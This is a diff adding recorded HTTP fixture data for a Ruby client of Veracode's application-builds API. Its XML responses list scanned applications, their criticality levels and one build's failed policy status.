+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:10:35 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:11:01 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:11:02 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:11:03 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
